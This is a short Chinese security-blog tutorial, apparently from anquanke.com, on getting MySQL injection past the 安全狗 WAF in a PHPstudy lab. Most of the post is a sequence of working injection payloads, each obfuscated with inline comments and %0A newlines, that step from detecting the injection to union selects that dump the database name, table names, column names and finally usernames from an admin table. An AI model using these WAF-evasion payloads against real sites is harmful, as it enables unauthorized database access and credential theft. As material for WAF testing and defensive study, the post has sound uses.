从0开始ByPass之Mysql注入篇

阅读量789031

发布时间 : 2022-08-25 14:30:05

 

前言

​在做项目中遇到各种各样waf,跟着本文系列一起学习bypass。

 

安装

环境:win+PHPstudy+安全狗

 

过程

安装phpstudy需要以系统模式启动,否则安全狗无法识别安装防护插件。

 

进入主题

1.判断注入:

and 1=1 拦截
and -1=-1拦截
and /*/ /-- /*/1=1 不拦截

2.order by:

order by 1 拦截

order/*//*/ by 1 不拦截

3.联合查询

and 1=2 union select 拦截

注释+换行符绕过
and /*/%0A*a*/1=2 union/*/ /-- /*/select 1,2 不拦截

4.爆库:

and /*/%0A*a*/1=2 union/*/ /-- /*/select%201,database() 拦截
and /*/%0A*a*/1=2 union/*/ /-- /*/select%201,database/*/ /-- /*/()不拦截

5.爆表:

用以上方法bypass绕过
/*!and*/ /*/%0A*a*/1=2 /**//**/union/*/ /-- /*/ /*/%0A*a*/select 1,table_name /*!from--/*information_schema.tables*/ /*//*/where table_schema=/*!database*//*/ /-- /*/() limit 0,1 不拦截

6.获取列名

%20/*!and*/%20/*/%0A*a*/1=2%20/**//**/union/*/%20/--%20/*/%20/*/%0A*a*/select%201,column_name%20/*!from--%0F/*%0Ainformation_schema.columns*/%20/*//*/where%20table_schema=/*!database*//*/%20/--%20/*/()%20limit%200,1 不拦截

7.获取字段:

union/*/%20/--%20/*/select%201,/*!username*/%20/*//*!--+*/from%20admin%20limit%201,1

 

总结

手法采用了大量注释+换行来达到bypass效果。
如文中有误请不吝指正

 

参考文献

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

本文由刑天攻防实验室原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/277844

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
刑天攻防实验室
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66